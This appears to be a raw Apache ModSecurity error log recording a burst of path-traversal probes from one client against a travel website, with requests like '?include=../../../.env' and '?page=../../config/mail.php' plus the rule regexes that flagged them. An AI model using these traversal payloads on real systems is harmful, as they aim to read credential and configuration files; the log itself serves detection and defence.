[Fri Jul 17 08:55:04.340418 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=35,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkA5GPQ6hs4VrfMpBKAAAAAY"]
[Fri Jul 17 08:55:04.345214 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:page: ../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkOYpb_TFRze2EO3zQQAAAAE"]
[Fri Jul 17 08:55:04.345294 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:page: ../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkOYpb_TFRze2EO3zQQAAAAE"]
[Fri Jul 17 08:55:04.347105 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkOYpb_TFRze2EO3zQQAAAAE"]
[Fri Jul 17 08:55:04.347373 2026] [hostinglimits:warn] [pid 2023579:tid 2023579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2023579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:04.347938 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkOYpb_TFRze2EO3zQQAAAAE"]
[Fri Jul 17 08:55:04.357903 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:include: ../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBLAAAABs"]
[Fri Jul 17 08:55:04.357948 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:include: ../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBLAAAABs"]
[Fri Jul 17 08:55:04.359090 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkKquHSHoCJK_V0SBLAAAABs"]
[Fri Jul 17 08:55:04.359223 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:04.359530 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkKquHSHoCJK_V0SBLAAAABs"]
[Fri Jul 17 08:55:04.368343 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?include=..%2F..%2F..%2F.env&ref=1C9Vz6mqW9uB1xOqj8EjmiAaXbtcpzeqJJlhieIvojpPZLRc2OtuFA3wIqb2aAS99FOM22H7FaXaMH7l7Y9mKIPIhN8p1htliKSk6YuhZtYRmDRa4ENgkZfDuaUHjZp_k3DNcwJXC2EYpzTz5nCYXxpp2RTzJMOs-opbqPS0flI-ryCOQVWIpz-mdSsISXbj6re8UateAbe-emesj0up91C0oUTsRWsJE1AGgds6uknIcuugfkOoBMd2yFbe57ZO3I-GvRMCVt3hFqErT7SI0odb&junk=2MVNKJG55BBSPQKBY6JXHC3PQZEKU7HTF4JSADUMGDXO27WPOFXHODASAGODSJO2DRCQPJ7J7WM7JHOJU74WTOWGAFBOHT5OLUX4AKZ5UNMGK32VXIV2G4DL6MW7R6H4VVYZTLXT..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBKQAAAAY"]
[Fri Jul 17 08:55:04.368410 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:include: ../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBKQAAAAY"]
[Fri Jul 17 08:55:04.368459 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?include=../../../.env&ref=1C9Vz6mqW9uB1xOqj8EjmiAaXbtcpzeqJJlhieIvojpPZLRc2OtuFA3wIqb2aAS99FOM22H7FaXaMH7l7Y9mKIPIhN8p1htliKSk6YuhZtYRmDRa4ENgkZfDuaUHjZp_k3DNcwJXC2EYpzTz5nCYXxpp2RTzJMOs-opbqPS0flI-ryCOQVWIpz-mdSsISXbj6re8UateAbe-emesj0up91C0oUTsRWsJE1AGgds6uknIcuugfkOoBMd2yFbe57ZO3I-GvRMCVt3hFqErT7SI0odb&junk=2MVNKJG55BBSPQKBY6JXHC3PQZEKU7HTF4JSADUMGDXO27WPOFXHODASAGODSJO2DRCQPJ7J7WM7JHOJU74WTOWGAFBOHT5OLUX4AKZ5UNMGK32VXIV2G4DL6MW7R6H4VVYZTLXTYVAIXTK3Y3POTR..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBKQAAAAY"]
[Fri Jul 17 08:55:04.368501 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?include=../../../.env&ref=1c9vz6mqw9ub1xoqj8ejmiaaxbtcpzeqjjlhieivojppzlrc2otufa3wiqb2aas99fom22h7faxamh7l7y9mkipihn8p1htliksk6yuhztyrmdra4engkzfduauhjzp_k3dncwjxc2eypztz5ncyxxpp2rtzjmos-opbqps0fli-rycoqvwipz-mdssisxbj6re8uateabe-emesj0up91c0outsrwsje1aggds6uknicuugfkoobmd2yfbe57zo3i-gvrmcvt3hfqert7si0odb&junk=2mvnkjg55bbspqkby6jxhc3pqzeku7htf4jsadumgdxo27wpofxhodasagodsjo2drcqpj7j7wm7jhoju74wtowgafboht5olux4akz5unmgk32vxiv2g4dl6mw7r6h4vvyztlxtyvaixtk3y3potr..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBKQAAAAY"]
[Fri Jul 17 08:55:04.368534 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:include: ../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBKQAAAAY"]
[Fri Jul 17 08:55:04.368564 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:include: ../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBKQAAAAY"]
[Fri Jul 17 08:55:04.369731 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBKQAAAAY"]
[Fri Jul 17 08:55:04.369773 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?page=..%2F..%2Fconfig%2Fmail.php&token=QVtp0JBDe6OO4lxirK-TEUI3FJHqsIKqQ1EKc4ASsKaUYtTZWcX_b-5sHx-JCJw6aIzoILAzNmdZEIGeijtRinOekihVGqhwzYHfj8OM4EPfykNuvGLK_LCpuurUYmwvacGoduZsXOMpogUAmKyb_oh_A8ANIsrKDzcLqmLhqhXxeXWvToNewf4jtx4qP57LMa0kVx2-lL1VW34lrwcHeQKkE6CAS3xh69rqIeWUuuudAQ-Z-XPiRoefmee0moJ_U1LdTr_xetwPd4rvwx3hj29k&anything=Q5AKIDLTDIGCSSVHNDSU7O7QGHAHLP6FV7LPBSUGD4UQNMZ4DJ77EF2WTSDBH3MLHH5ILLNGAOVLVEOSPNUH6PP4ZTTOA4S4QFM5UVXGZKVO4YFZFUGVAZHL5G4SF..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBhAAAAAQ"]
[Fri Jul 17 08:55:04.369822 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:page: ../../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBhAAAAAQ"]
[Fri Jul 17 08:55:04.369860 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:04.369905 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?page=../../config/mail.php&token=QVtp0JBDe6OO4lxirK-TEUI3FJHqsIKqQ1EKc4ASsKaUYtTZWcX_b-5sHx-JCJw6aIzoILAzNmdZEIGeijtRinOekihVGqhwzYHfj8OM4EPfykNuvGLK_LCpuurUYmwvacGoduZsXOMpogUAmKyb_oh_A8ANIsrKDzcLqmLhqhXxeXWvToNewf4jtx4qP57LMa0kVx2-lL1VW34lrwcHeQKkE6CAS3xh69rqIeWUuuudAQ-Z-XPiRoefmee0moJ_U1LdTr_xetwPd4rvwx3hj29k&anything=Q5AKIDLTDIGCSSVHNDSU7O7QGHAHLP6FV7LPBSUGD4UQNMZ4DJ77EF2WTSDBH3MLHH5ILLNGAOVLVEOSPNUH6PP4ZTTOA4S4QFM5UVXGZKVO4YFZFUGVAZHL5G4SF67RYD6GOR4TKRV..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBhAAAAAQ"]
[Fri Jul 17 08:55:04.369952 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?page=../../config/mail.php&token=qvtp0jbde6oo4lxirk-teui3fjhqsikqq1ekc4asskauyttzwcx_b-5shx-jcjw6aizoilaznmdzeigeijtrinoekihvgqhwzyhfj8om4epfyknuvglk_lcpuuruymwvacgoduzsxompoguamkyb_oh_a8anisrkdzclqmlhqhxxexwvtonewf4jtx4qp57lma0kvx2-ll1vw34lrwcheqkke6cas3xh69rqiewuuuudaq-z-xpiroefmee0moj_u1ldtr_xetwpd4rvwx3hj29k&anything=q5akidltdigcssvhndsu7o7qghahlp6fv7lpbsugd4uqnmz4dj77ef2wtsdbh3mlhh5illngaovlveospnuh6pp4zttoa4s4qfm5uvxgzkvo4yfzfugvazhl5g4sf67ryd6gor4tkrv..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBhAAAAAQ"]
[Fri Jul 17 08:55:04.369978 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:page: ../../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBhAAAAAQ"]
[Fri Jul 17 08:55:04.370007 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:page: ../../config/mail.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBhAAAAAQ"]
[Fri Jul 17 08:55:04.370195 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkA5GPQ6hs4VrfMpBKQAAAAY"]
[Fri Jul 17 08:55:04.371266 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkLoj0IkvhSCYadmBhAAAAAQ"]
[Fri Jul 17 08:55:04.371401 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:04.371713 2026] [security2:error] [pid 2018741:tid 2018741] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkLoj0IkvhSCYadmBhAAAAAQ"]
[Fri Jul 17 08:55:04.493823 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?include=..%2F..%2F.env&ref=p9ulrIW6yQvbOK87rGVe1qT_9f-LIrYB98wc7l9OfbqVNcyxeQJd5ODo86iuP1ViXIH0hdeQdRpromHybd0eIb6KeL0s_bRqM72LElUK2iNCr25SID1QkuvLOnKrGih9AgxL-S5QC_QlaWiiAYM0jD8d70i5oySlZ920FcLv-J8s_UPKCZHZGsNRAKNsA-7Jc-9186JzFqWOpmxeV36Q0nXv2sn76TUXscb_xz6YH1uWm4w-CPPSpgDAsiDtoho1hEO4yH4nPo-eQSFG2V7Dt9A5&cb=ZR6DZ7CCVRASYYVD4BF5QY4E7UGCULQXMQRFBBXNKOHTMSBBJV3ELW6SBDX5HWQ4SVR44W52ZDQO6ZNMJCCTJEWE7OO7RT6ZVIRWK5J56FL7MNPMHCPQ5CT5XWLA7SST5WEIPDMKXYJCOI4..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkA5GPQ6hs4VrfMpBKgAAAAY"]
